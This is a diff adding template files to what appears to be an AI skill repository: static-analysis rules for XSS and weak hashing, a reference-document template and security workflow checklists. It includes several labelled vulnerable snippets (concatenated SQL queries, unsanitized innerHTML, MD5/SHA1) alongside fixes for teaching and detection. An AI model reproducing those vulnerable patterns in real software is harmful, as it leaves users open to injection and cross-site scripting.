+      severity: "HIGH"
+      category: "security"
+      subcategory: "xss"
+
+      owasp:
+        - "A03:2021 - Injection"
+      cwe:
+        - "CWE-79: Cross-site Scripting (XSS)"
+        - "CWE-80: Improper Neutralization of Script-Related HTML Tags"
+
+      compliance:
+        - "PCI-DSS 6.5.7: Cross-site scripting"
+        - "NIST 800-53 SI-10: Information Input Validation"
+
+      confidence: "HIGH"
+      likelihood: "MEDIUM"
+      impact: "HIGH"
+
+      references:
+        - "https://owasp.org/www-community/attacks/xss/"
+        - "https://cwe.mitre.org/data/definitions/79.html"
+        - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
+
+    languages:
+      - javascript
+      - typescript
+      - jsx
+      - tsx
+
+    pattern-either:
+      - pattern: |
+          dangerouslySetInnerHTML={{__html: $VAR}}
+      - pattern: |
+          innerHTML = $VAR
+
+    message: |
+      Potential XSS vulnerability detected. Setting HTML content directly from
+      user input without sanitization can allow attackers to inject malicious
+      JavaScript code.
+
+      Use one of these safe alternatives:
+      - React: Use {userInput} for automatic escaping
+      - DOMPurify: const clean = DOMPurify.sanitize(dirty);
+      - Framework-specific sanitizers
+
+      See: https://owasp.org/www-community/attacks/xss/
+
+    examples:
+      - vulnerable: |
+          // Vulnerable: Unsanitized HTML
+          function UserComment({ comment }) {
+            return <div dangerouslySetInnerHTML={{__html: comment}} />;
+          }
+
+      - fixed: |
+          // Fixed: Sanitized with DOMPurify
+          import DOMPurify from 'dompurify';
+
+          function UserComment({ comment }) {
+            const sanitized = DOMPurify.sanitize(comment);
+            return <div dangerouslySetInnerHTML={{__html: sanitized}} />;
+          }
+
+  # Example Rule 4: Insecure Cryptography
+  - id: weak-cryptographic-algorithm
+    metadata:
+      name: "Weak Cryptographic Algorithm"
+      description: "Detects use of weak or deprecated cryptographic algorithms"
+      severity: "HIGH"
+      category: "security"
+      subcategory: "cryptography"
+
+      owasp:
+        - "A02:2021 - Cryptographic Failures"
+      cwe:
+        - "CWE-327: Use of a Broken or Risky Cryptographic Algorithm"
+        - "CWE-326: Inadequate Encryption Strength"
+
+      compliance:
+        - "PCI-DSS 4.1: Use strong cryptography"
+        - "NIST 800-53 SC-13: Cryptographic Protection"
+        - "GDPR Article 32: Security of processing"
+
+      confidence: "HIGH"
+      likelihood: "MEDIUM"
+      impact: "HIGH"
+
+      references:
+        - "https://cwe.mitre.org/data/definitions/327.html"
+        - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
+
+    languages:
+      - python
+      - javascript
+      - java
+
+    pattern-either:
+      - pattern: |
+          hashlib.md5(...)
+      - pattern: |
+          hashlib.sha1(...)
+      - pattern: |
+          crypto.createHash('md5')
+      - pattern: |
+          crypto.createHash('sha1')
+
+    message: |
+      Weak cryptographic algorithm detected (MD5 or SHA1). These algorithms are
+      considered cryptographically broken and should not be used for security purposes.
+
+      Use strong alternatives:
+      - For hashing: SHA-256, SHA-384, or SHA-512
+      - For password hashing: bcrypt, argon2, or PBKDF2
+      - Python: hashlib.sha256()
+      - Node.js: crypto.createHash('sha256')
+
+      See: https://cwe.mitre.org/data/definitions/327.html
+
+    examples:
+      - vulnerable: |
+          # Vulnerable: MD5 hash
+          import hashlib
+          hash_value = hashlib.md5(data).hexdigest()
+
+      - fixed: |
+          # Fixed: SHA-256 hash
+          import hashlib
+          hash_value = hashlib.sha256(data).hexdigest()
+
+# Rule Configuration
+configuration:
+  # Global settings
+  enabled: true
+  severity_threshold: "MEDIUM"  # Report findings at MEDIUM severity and above
+
+  # Performance tuning
+  max_file_size_kb: 1024
+  exclude_patterns:
+    - "test/*"
+    - "tests/*"
+    - "node_modules/*"
+    - "vendor/*"
+    - "*.min.js"
+
+  # False positive reduction
+  confidence_threshold: "MEDIUM"  # Only report findings with MEDIUM confidence or higher
+
+# Rule Metadata Schema
+# This section documents the expected structure for rules
+metadata_schema:
+  required:
+    - id: "Unique identifier for the rule (kebab-case)"
+    - name: "Human-readable rule name"
+    - description: "What the rule detects"
+    - severity: "CRITICAL | HIGH | MEDIUM | LOW | INFO"
+    - category: "security | best-practice | performance"
+
+  optional:
+    - subcategory: "Specific type (injection, xss, secrets, etc.)"
+    - owasp: "OWASP Top 10 mappings"
+    - cwe: "CWE identifier(s)"
+    - mitre_attack: "MITRE ATT&CK technique(s)"
+    - compliance: "Compliance standard references"
+    - confidence: "Detection confidence level"
+    - likelihood: "Likelihood of exploitation"
+    - impact: "Potential impact if exploited"
+    - references: "External documentation links"
+
+# Usage Instructions:
+#
+# 1. Copy this template when creating new security rules
+# 2. Update metadata fields with appropriate framework mappings
+# 3. Customize detection patterns for your tool (Semgrep, OPA, etc.)
+# 4. Provide clear remediation guidance in the message field
+# 5. Include both vulnerable and fixed code examples
+# 6. Test rules on real codebases before deployment
+#
+# Best Practices:
+# - Map to multiple frameworks (OWASP, CWE, MITRE ATT&CK)
+# - Include compliance standard references
+# - Provide actionable remediation guidance
+# - Show code examples (vulnerable vs. fixed)
+# - Tune confidence levels to reduce false positives
+# - Exclude test directories to reduce noise
--- a/skills/offsec/network-netcat/references/EXAMPLE.md
+++ b/skills/offsec/network-netcat/references/EXAMPLE.md
@@ -0,0 +1,550 @@
+# Reference Document Template
+
+This file demonstrates how to structure detailed reference material that Claude loads on-demand.
+
+**When to use this reference**: Include a clear statement about when Claude should consult this document.
+For example: "Consult this reference when analyzing Python code for security vulnerabilities and needing detailed remediation patterns."
+
+**Document purpose**: Briefly explain what this reference provides that's not in SKILL.md.
+
+---
+
+## Table of Contents
+
+**For documents >100 lines, always include a table of contents** to help Claude navigate quickly.
+
+- [When to Use References](#when-to-use-references)
+- [Document Organization](#document-organization)
+- [Detailed Technical Content](#detailed-technical-content)
+- [Security Framework Mappings](#security-framework-mappings)
+  - [OWASP Top 10](#owasp-top-10)
+  - [CWE Mappings](#cwe-mappings)
+  - [MITRE ATT&CK](#mitre-attck)
+- [Remediation Patterns](#remediation-patterns)
+- [Advanced Configuration](#advanced-configuration)
+- [Examples and Code Samples](#examples-and-code-samples)
+
+---
+
+## When to Use References
+
+**Move content from SKILL.md to references/** when:
+
+1. **Content exceeds 100 lines** - Keep SKILL.md concise
+2. **Framework-specific details** - Detailed OWASP/CWE/MITRE mappings
+3. **Advanced user content** - Deep technical details for expert users
+4. **Lookup-oriented content** - Rule libraries, configuration matrices, comprehensive lists
+5. **Language-specific patterns** - Separate files per language/framework
+6. **Historical context** - Old patterns and deprecated approaches
+
+**Keep in SKILL.md**:
+- Core workflows (top 3-5 use cases)
+- Decision points and branching logic
+- Quick start guidance
+- Essential security considerations
+
+---
+
+## Document Organization
+
+### Structure for Long Documents
+
+For references >100 lines:
+
+```markdown
+# Title
+
+**When to use**: Clear trigger statement
+**Purpose**: What this provides
+
+## Table of Contents
+- Links to all major sections
+
+## Quick Reference
+- Key facts or commands for fast lookup
+
+## Detailed Content
+- Comprehensive information organized logically
+
+## Framework Mappings
+- OWASP, CWE, MITRE ATT&CK references
+
+## Examples
+- Code samples and patterns
+```
+
+### Section Naming Conventions
+
+- Use **imperative** or **declarative** headings
+- ✅ "Detecting SQL Injection" not "How to detect SQL Injection"
+- ✅ "Common Patterns" not "These are common patterns"
+- Make headings **searchable** and **specific**
+
+---
+
+## Detailed Technical Content
+
+This section demonstrates the type of detailed content that belongs in references rather than SKILL.md.
+
+### Example: Comprehensive Vulnerability Detection
+
+#### SQL Injection Detection Patterns
+
+**Pattern 1: String Concatenation in Queries**
+
+```python
+# Vulnerable pattern
+query = "SELECT * FROM users WHERE id = " + user_id
+cursor.execute(query)
+
+# Detection criteria:
+# - SQL keyword (SELECT, INSERT, UPDATE, DELETE)
+# - String concatenation operator (+, f-string)
+# - Variable user input (request params, form data)
+
+# Severity: HIGH
+# CWE: CWE-89
+# OWASP: A03:2021 - Injection
+```
+
+**Remediation**:
+```python
+# Fixed: Parameterized query
+query = "SELECT * FROM users WHERE id = ?"
+cursor.execute(query, (user_id,))
+
+# OR using ORM
+user = User.objects.get(id=user_id)
+```
+
+**Pattern 2: Unsafe String Formatting**
+
+```python
+# Vulnerable patterns
+query = f"SELECT * FROM users WHERE name = '{username}'"
+query = "SELECT * FROM users WHERE name = '%s'" % username
+query = "SELECT * FROM users WHERE name = '{}'".format(username)
+
+# All three patterns are vulnerable to SQL injection
+```
+
+#### Cross-Site Scripting (XSS) Detection
+
+**Pattern 1: Unescaped Output in Templates**
+
+```javascript
+// Vulnerable: Direct HTML injection
+element.innerHTML = userInput;
+document.write(userInput);
+
+// Vulnerable: React dangerouslySetInnerHTML
+<div dangerouslySetInnerHTML={{__html: userComment}} />
+
+// Detection criteria:
+# - Direct DOM manipulation (innerHTML, document.write)
+# - React dangerouslySetInnerHTML with user data
+# - Template engines with autoescaping disabled
+
+// Severity: HIGH
+// CWE: CWE-79
+// OWASP: A03:2021 - Injection
+```
+
+**Remediation**:
+```javascript
+// Fixed: Escaped output
+element.textContent = userInput;  // Auto-escapes
+
+// Fixed: Sanitization library
+import DOMPurify from 'dompurify';
+const clean = DOMPurify.sanitize(userComment);
+<div dangerouslySetInnerHTML={{__html: clean}} />
+```
+
+---
+
+## Security Framework Mappings
+
+This section provides comprehensive security framework mappings for findings.
+
+### OWASP Top 10
+
+Map security findings to OWASP Top 10 (2021) categories:
+
+| Category | Title | Common Vulnerabilities |
+|----------|-------|----------------------|
+| **A01:2021** | Broken Access Control | Authorization bypass, privilege escalation, IDOR |
+| **A02:2021** | Cryptographic Failures | Weak crypto, plaintext storage, insecure TLS |
+| **A03:2021** | Injection | SQL injection, XSS, command injection, LDAP injection |
+| **A04:2021** | Insecure Design | Missing security controls, threat modeling gaps |
+| **A05:2021** | Security Misconfiguration | Default configs, verbose errors, unnecessary features |
+| **A06:2021** | Vulnerable Components | Outdated libraries, unpatched dependencies |
+| **A07:2021** | Auth & Session Failures | Weak passwords, session fixation, missing MFA |
+| **A08:2021** | Software & Data Integrity | Unsigned updates, insecure CI/CD, deserialization |
+| **A09:2021** | Logging & Monitoring Failures | Insufficient logging, no alerting, log injection |
+| **A10:2021** | SSRF | Server-side request forgery, unvalidated redirects |
+
+**Usage**: When reporting findings, map to primary OWASP category and reference the identifier (e.g., "A03:2021 - Injection").
+
+### CWE Mappings
+
+Map to relevant Common Weakness Enumeration categories for precise vulnerability classification:
+
+#### Injection Vulnerabilities
+- **CWE-78**: OS Command Injection
+- **CWE-79**: Cross-site Scripting (XSS)
+- **CWE-89**: SQL Injection
+- **CWE-90**: LDAP Injection
+- **CWE-91**: XML Injection
+- **CWE-94**: Code Injection
+
+#### Authentication & Authorization
+- **CWE-287**: Improper Authentication
+- **CWE-288**: Authentication Bypass Using Alternate Path
+- **CWE-290**: Authentication Bypass by Spoofing
+- **CWE-294**: Authentication Bypass by Capture-replay
+- **CWE-306**: Missing Authentication for Critical Function
+- **CWE-307**: Improper Restriction of Excessive Authentication Attempts
+- **CWE-352**: Cross-Site Request Forgery (CSRF)
+
+#### Cryptographic Issues
+- **CWE-256**: Plaintext Storage of Password
+- **CWE-259**: Use of Hard-coded Password
+- **CWE-261**: Weak Encoding for Password
+- **CWE-321**: Use of Hard-coded Cryptographic Key
+- **CWE-326**: Inadequate Encryption Strength
+- **CWE-327**: Use of Broken or Risky Cryptographic Algorithm
+- **CWE-329**: Not Using a Random IV with CBC Mode
+- **CWE-798**: Use of Hard-coded Credentials
+
+#### Input Validation
+- **CWE-20**: Improper Input Validation
+- **CWE-73**: External Control of File Name or Path
+- **CWE-434**: Unrestricted Upload of File with Dangerous Type
+- **CWE-601**: URL Redirection to Untrusted Site
+
+#### Sensitive Data Exposure
+- **CWE-200**: Information Exposure
+- **CWE-209**: Information Exposure Through Error Message
+- **CWE-312**: Cleartext Storage of Sensitive Information
+- **CWE-319**: Cleartext Transmission of Sensitive Information
+- **CWE-532**: Information Exposure Through Log Files
+
+**Usage**: Include CWE identifier in all vulnerability reports for standardized classification.
+
+### MITRE ATT&CK
+
+Reference relevant tactics and techniques for threat context:
+
+#### Initial Access (TA0001)
+- **T1190**: Exploit Public-Facing Application
+- **T1133**: External Remote Services
+- **T1078**: Valid Accounts
+
+#### Execution (TA0002)
+- **T1059**: Command and Scripting Interpreter
+- **T1203**: Exploitation for Client Execution
+
+#### Persistence (TA0003)
+- **T1098**: Account Manipulation
+- **T1136**: Create Account
+- **T1505**: Server Software Component
+
+#### Privilege Escalation (TA0004)
+- **T1068**: Exploitation for Privilege Escalation
+- **T1548**: Abuse Elevation Control Mechanism
+
+#### Defense Evasion (TA0005)
+- **T1027**: Obfuscated Files or Information
+- **T1140**: Deobfuscate/Decode Files or Information
+- **T1562**: Impair Defenses
+
+#### Credential Access (TA0006)
+- **T1110**: Brute Force
+- **T1555**: Credentials from Password Stores
+- **T1552**: Unsecured Credentials
+
+#### Discovery (TA0007)
+- **T1083**: File and Directory Discovery
+- **T1046**: Network Service Scanning
+
+#### Collection (TA0009)
+- **T1005**: Data from Local System
+- **T1114**: Email Collection
+
+#### Exfiltration (TA0010)
+- **T1041**: Exfiltration Over C2 Channel
+- **T1567**: Exfiltration Over Web Service
+
+**Usage**: When identifying vulnerabilities, consider which ATT&CK techniques an attacker could use to exploit them.
+
+---
+
+## Remediation Patterns
+
+This section provides specific remediation guidance for common vulnerability types.
+
+### SQL Injection Remediation
+
+**Step 1: Identify vulnerable queries**
+- Search for string concatenation in SQL queries
+- Check for f-strings or format() with SQL keywords
+- Review all database interaction code
+
+**Step 2: Apply parameterized queries**
+
+```python
+# Python with sqlite3
+cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))
+
+# Python with psycopg2 (PostgreSQL)
+cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
+
+# Python with SQLAlchemy (ORM)
+from sqlalchemy import text
+result = session.execute(text("SELECT * FROM users WHERE id = :id"), {"id": user_id})
+```
+
+**Step 3: Validate and sanitize input** (defense in depth)
+```python
+import re
+
+# Validate input format
+if not re.match(r'^\d+$', user_id):
+    raise ValueError("Invalid user ID format")
+
+# Use ORM query builders
+user = User.query.filter_by(id=user_id).first()
+```
+
+**Step 4: Implement least privilege**
+- Database user should have minimum required permissions
+- Use read-only accounts for SELECT operations
+- Never use admin/root accounts for application queries
+
+### XSS Remediation
+
+**Step 1: Enable auto-escaping**
+- Most modern frameworks escape by default
+- Ensure auto-escaping is not disabled
+
+**Step 2: Use framework-specific safe methods**
+
+```javascript
+// React: Use JSX (auto-escapes)
+<div>{userInput}</div>
+
+// Vue: Use template syntax (auto-escapes)
+<div>{{ userInput }}</div>
+
+// Angular: Use property binding (auto-escapes)
+<div [textContent]="userInput"></div>
+```
+
+**Step 3: Sanitize when HTML is required**
+
+```javascript
+import DOMPurify from 'dompurify';
+
+// Sanitize HTML content
+const clean = DOMPurify.sanitize(userHTML, {
+  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p'],
+  ALLOWED_ATTR: []
+});
+```
+
+**Step 4: Content Security Policy (CSP)**
+
+```html
+<!-- Add CSP header -->
+Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'
+```
+
+---
+
+## Advanced Configuration
+
+This section contains detailed configuration options and tuning parameters.
+
+### Example: SAST Tool Configuration
+
+```yaml
+# Advanced security scanner configuration
+scanner:
+  # Severity threshold
+  severity_threshold: MEDIUM
+
+  # Rule configuration
+  rules:
+    enabled:
+      - sql-injection
+      - xss
+      - hardcoded-secrets
+    disabled:
+      - informational-only
+
+  # False positive reduction
+  confidence_threshold: HIGH
+  exclude_patterns:
+    - "*/test/*"
+    - "*/tests/*"
+    - "*/node_modules/*"
+    - "*.test.js"
+    - "*.spec.ts"
+
+  # Performance tuning
+  max_file_size_kb: 2048
+  timeout_seconds: 300
+  parallel_jobs: 4
+
+  # Output configuration
+  output_format: json
+  include_code_snippets: true
+  max_snippet_lines: 10
+```
+
+---
+
+## Examples and Code Samples
+
+This section provides comprehensive code examples for various scenarios.
+
+### Example 1: Secure API Authentication
+
+```python
+# Secure API key handling
+import os
+from functools import wraps
+from flask import Flask, request, jsonify
+
+app = Flask(__name__)
+
+# Load API key from environment (never hardcode)
+VALID_API_KEY = os.environ.get('API_KEY')
+if not VALID_API_KEY:
+    raise ValueError("API_KEY environment variable not set")
+
+def require_api_key(f):
+    @wraps(f)
+    def decorated_function(*args, **kwargs):
+        api_key = request.headers.get('X-API-Key')
+
+        if not api_key:
+            return jsonify({'error': 'API key required'}), 401
+
+        # Constant-time comparison to prevent timing attacks
+        import hmac
+        if not hmac.compare_digest(api_key, VALID_API_KEY):
+            return jsonify({'error': 'Invalid API key'}), 403
+
+        return f(*args, **kwargs)
+    return decorated_function
+
+@app.route('/api/secure-endpoint')
+@require_api_key
+def secure_endpoint():
+    return jsonify({'message': 'Access granted'})
+```
+
+### Example 2: Secure Password Hashing
+
+```python
+# Secure password storage with bcrypt
+import bcrypt
+
+def hash_password(password: str) -> str:
+    """Hash a password using bcrypt."""
+    # Generate salt and hash password
+    salt = bcrypt.gensalt(rounds=12)  # Cost factor: 12 (industry standard)
+    hashed = bcrypt.hashpw(password.encode('utf-8'), salt)
+    return hashed.decode('utf-8')
+
+def verify_password(password: str, hashed: str) -> bool:
+    """Verify a password against a hash."""
+    return bcrypt.checkpw(
+        password.encode('utf-8'),
+        hashed.encode('utf-8')
+    )
+
+# Usage
+stored_hash = hash_password("user_password")
+is_valid = verify_password("user_password", stored_hash)  # True
+```
+
+### Example 3: Secure File Upload
+
+```python
+# Secure file upload with validation
+import os
+import magic
+from werkzeug.utils import secure_filename
+
+ALLOWED_EXTENSIONS = {'pdf', 'png', 'jpg', 'jpeg'}
+ALLOWED_MIME_TYPES = {
+    'application/pdf',
+    'image/png',
+    'image/jpeg'
+}
+MAX_FILE_SIZE = 5 * 1024 * 1024  # 5 MB
+
+def is_allowed_file(filename: str, file_content: bytes) -> bool:
+    """Validate file extension and MIME type."""
+    # Check extension
+    if '.' not in filename:
+        return False
+
+    ext = filename.rsplit('.', 1)[1].lower()
+    if ext not in ALLOWED_EXTENSIONS:
+        return False
+
+    # Check MIME type (prevent extension spoofing)
+    mime = magic.from_buffer(file_content, mime=True)
+    if mime not in ALLOWED_MIME_TYPES:
+        return False
+
+    return True
+
+def handle_upload(file):
+    """Securely handle file upload."""
+    # Check file size
+    file.seek(0, os.SEEK_END)
+    size = file.tell()
+    file.seek(0)
+
+    if size > MAX_FILE_SIZE:
+        raise ValueError("File too large")
+
+    # Read content for validation
+    content = file.read()
+    file.seek(0)
+
+    # Validate file type
+    if not is_allowed_file(file.filename, content):
+        raise ValueError("Invalid file type")
+
+    # Sanitize filename
+    filename = secure_filename(file.filename)
+
+    # Generate unique filename to prevent overwrite attacks
+    import uuid
+    unique_filename = f"{uuid.uuid4()}_{filename}"
+
+    # Save to secure location (outside web root)
+    upload_path = os.path.join('/secure/uploads', unique_filename)
+    file.save(upload_path)
+
+    return unique_filename
+```
+
+---
+
+## Best Practices for Reference Documents
+
+1. **Start with "When to use"** - Help Claude know when to load this reference
+2. **Include table of contents** - For documents >100 lines
+3. **Use concrete examples** - Code samples with vulnerable and fixed versions
+4. **Map to frameworks** - OWASP, CWE, MITRE ATT&CK for context
+5. **Provide remediation** - Don't just identify issues, show how to fix them
+6. **Organize logically** - Group related content, use clear headings
+7. **Keep examples current** - Use modern patterns and current framework versions
+8. **Be concise** - Even in references, challenge every sentence
--- a/skills/offsec/network-netcat/references/WORKFLOW_CHECKLIST.md
+++ b/skills/offsec/network-netcat/references/WORKFLOW_CHECKLIST.md
@@ -0,0 +1,253 @@
+# Workflow Checklist Template
+
+This template demonstrates workflow patterns for security operations. Copy and adapt these checklists to your specific skill needs.
+
+## Pattern 1: Sequential Workflow Checklist
+
+Use this pattern for operations that must be completed in order, step-by-step.
+
+### Security Assessment Workflow
+
+Progress:
+[ ] 1. Identify application entry points and attack surface
+[ ] 2. Map authentication and authorization flows
+[ ] 3. Identify data flows and sensitive data handling
+[ ] 4. Review existing security controls
+[ ] 5. Document findings with framework references (OWASP, CWE)
+[ ] 6. Prioritize findings by severity (CVSS scores)
+[ ] 7. Generate report with remediation recommendations
+
+Work through each step systematically. Check off completed items.
+
+---
+
+## Pattern 2: Conditional Workflow
+
+Use this pattern when the workflow branches based on findings or conditions.
+
+### Vulnerability Remediation Workflow
+
+1. Identify vulnerability type
+   - If SQL Injection → See [sql-injection-remediation.md](sql-injection-remediation.md)
+   - If XSS (Cross-Site Scripting) → See [xss-remediation.md](xss-remediation.md)
+   - If Authentication flaw → See [auth-remediation.md](auth-remediation.md)
+   - If Authorization flaw → See [authz-remediation.md](authz-remediation.md)
+   - If Cryptographic issue → See [crypto-remediation.md](crypto-remediation.md)
+
+2. Assess severity using CVSS calculator
+   - If CVSS >= 9.0 → Priority: Critical (immediate action)
+   - If CVSS 7.0-8.9 → Priority: High (action within 24h)
+   - If CVSS 4.0-6.9 → Priority: Medium (action within 1 week)
+   - If CVSS < 4.0 → Priority: Low (action within 30 days)
+
+3. Apply appropriate remediation pattern
+4. Validate fix with security testing
+5. Document changes and update security documentation
+
+---
+
+## Pattern 3: Iterative Workflow
+
+Use this pattern for operations that repeat across multiple targets or items.
+
+### Code Security Review Workflow
+
+For each file in the review scope:
+1. Identify security-sensitive operations (auth, data access, crypto, input handling)
+2. Check against secure coding patterns for the language
+3. Flag potential vulnerabilities with severity rating
+4. Map findings to CWE and OWASP categories
+5. Suggest specific remediation approaches
+6. Document finding with code location and fix priority
+
+Continue until all files in scope have been reviewed.
+
+---
+
+## Pattern 4: Feedback Loop Workflow
+
+Use this pattern when validation and iteration are required.
+
+### Secure Configuration Generation Workflow
+
+1. Generate initial security configuration based on requirements
+2. Run validation script: `./scripts/validate_config.py config.yaml`
+3. Review validation output:
+   - Note all errors (must fix)
+   - Note all warnings (should fix)
+   - Note all info items (consider)
+4. Fix identified issues in configuration
+5. Repeat steps 2-4 until validation passes with zero errors
+6. Review warnings and determine if they should be addressed
+7. Apply configuration once validation is clean
+
+**Validation Loop**: Run validator → Fix errors → Repeat until clean
+
+---
+
+## Pattern 5: Parallel Analysis Workflow
+
+Use this pattern when multiple independent analyses can run concurrently.
+
+### Comprehensive Security Scan Workflow
+
+Run these scans in parallel:
+
+**Static Analysis**:
+[ ] 1a. Run SAST scan (Semgrep/Bandit)
+[ ] 1b. Run dependency vulnerability scan (Safety/npm audit)
+[ ] 1c. Run secrets detection (Gitleaks/TruffleHog)
+[ ] 1d. Run license compliance check
+
+**Dynamic Analysis**:
+[ ] 2a. Run DAST scan (ZAP/Burp)
+[ ] 2b. Run API security testing
+[ ] 2c. Run authentication/authorization testing
+
+**Infrastructure Analysis**:
+[ ] 3a. Run infrastructure-as-code scan (Checkov/tfsec)
+[ ] 3b. Run container image scan (Trivy/Grype)
+[ ] 3c. Run configuration review
+
+**Consolidation**:
+[ ] 4. Aggregate all findings
+[ ] 5. Deduplicate and correlate findings
+[ ] 6. Prioritize by risk (CVSS + exploitability + business impact)
+[ ] 7. Generate unified security report
+
+---
+
+## Pattern 6: Research and Documentation Workflow
+
+Use this pattern for security research and documentation tasks.
+
+### Threat Modeling Workflow
+
+Research Progress:
+[ ] 1. Identify system components and boundaries
+[ ] 2. Map data flows between components
+[ ] 3. Identify trust boundaries
+[ ] 4. Enumerate assets (data, services, credentials)
+[ ] 5. Apply STRIDE framework to each component:
+     - Spoofing threats
+     - Tampering threats
+     - Repudiation threats
+     - Information disclosure threats
+     - Denial of service threats
+     - Elevation of privilege threats
+[ ] 6. Map threats to MITRE ATT&CK techniques
+[ ] 7. Identify existing mitigations
+[ ] 8. Document residual risks
+[ ] 9. Recommend additional security controls
+[ ] 10. Generate threat model document
+
+Work through each step systematically. Check off completed items.
+
+---
+
+## Pattern 7: Compliance Validation Workflow
+
+Use this pattern for compliance checks against security standards.
+
+### Security Compliance Audit Workflow
+
+**SOC 2 Controls Review**:
+[ ] 1. Review access control policies (CC6.1, CC6.2, CC6.3)
+[ ] 2. Verify logical access controls implementation (CC6.1)
+[ ] 3. Review authentication mechanisms (CC6.1)
+[ ] 4. Verify encryption implementation (CC6.1, CC6.7)
+[ ] 5. Review audit logging configuration (CC7.2)
+[ ] 6. Verify security monitoring (CC7.2, CC7.3)
+[ ] 7. Review incident response procedures (CC7.3, CC7.4)
+[ ] 8. Verify backup and recovery processes (A1.2, A1.3)
+
+**Evidence Collection**:
+[ ] 9. Collect policy documents
+[ ] 10. Collect configuration screenshots
+[ ] 11. Collect audit logs
+[ ] 12. Document control gaps
+[ ] 13. Generate compliance report
+
+---
+
+## Pattern 8: Incident Response Workflow
+
+Use this pattern for security incident handling.
+
+### Security Incident Response Workflow
+
+**Detection and Analysis**:
+[ ] 1. Confirm security incident (rule out false positive)
+[ ] 2. Determine incident severity (SEV1/2/3/4)
+[ ] 3. Identify affected systems and data
+[ ] 4. Preserve evidence (logs, memory dumps, network captures)
+
+**Containment**:
+[ ] 5. Isolate affected systems (network segmentation)
+[ ] 6. Disable compromised accounts
+[ ] 7. Block malicious indicators (IPs, domains, hashes)
+[ ] 8. Implement temporary compensating controls
+
+**Eradication**:
+[ ] 9. Identify root cause
+[ ] 10. Remove malicious artifacts (malware, backdoors, webshells)
+[ ] 11. Patch vulnerabilities exploited
+[ ] 12. Reset compromised credentials
+
+**Recovery**:
+[ ] 13. Restore systems from clean backups (if needed)
+[ ] 14. Re-enable systems with monitoring
+[ ] 15. Verify system integrity
+[ ] 16. Resume normal operations
+
+**Post-Incident**:
+[ ] 17. Document incident timeline
+[ ] 18. Identify lessons learned
+[ ] 19. Update security controls to prevent recurrence
+[ ] 20. Update incident response procedures
+[ ] 21. Communicate with stakeholders
+
+---
+
+## Usage Guidelines
+
+### When to Use Workflow Checklists
+
+✅ **Use checklists for**:
+- Complex multi-step operations
+- Operations requiring specific order
+- Security assessments and audits
+- Incident response procedures
+- Compliance validation tasks
+
+❌ **Don't use checklists for**:
+- Simple single-step operations
+- Highly dynamic exploratory work
+- Operations that vary significantly each time
+
+### Adapting This Template
+
+1. **Copy relevant pattern** to your skill's SKILL.md or create new reference file
+2. **Customize steps** to match your specific security tool or process
+3. **Add framework references** (OWASP, CWE, NIST) where applicable
+4. **Include tool-specific commands** for automation
+5. **Add decision points** where manual judgment is required
+
+### Checklist Best Practices
+
+- **Be specific**: "Run semgrep --config=auto ." not "Scan the code"
+- **Include success criteria**: "Validation passes with 0 errors"
+- **Reference standards**: Link to OWASP, CWE, NIST where relevant
+- **Show progress**: Checkbox format helps track completion
+- **Provide escape hatches**: "If validation fails, see troubleshooting.md"
+
+### Integration with Feedback Loops
+
+Combine checklists with validation scripts for maximum effectiveness:
+
+1. Create checklist for the workflow
+2. Provide validation script that checks quality
+3. Include "run validator" step in checklist
+4. Loop: Complete step → Validate → Fix issues → Re-validate
+
+This pattern dramatically improves output quality through systematic validation.